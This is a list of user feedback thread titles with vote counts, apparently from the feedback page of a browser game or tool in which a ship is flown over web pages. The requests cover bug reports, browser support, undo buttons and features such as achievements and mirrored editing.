  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  622 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  621 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  591 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  578 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Vote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  557 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  505 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  464 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  431 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  419 agree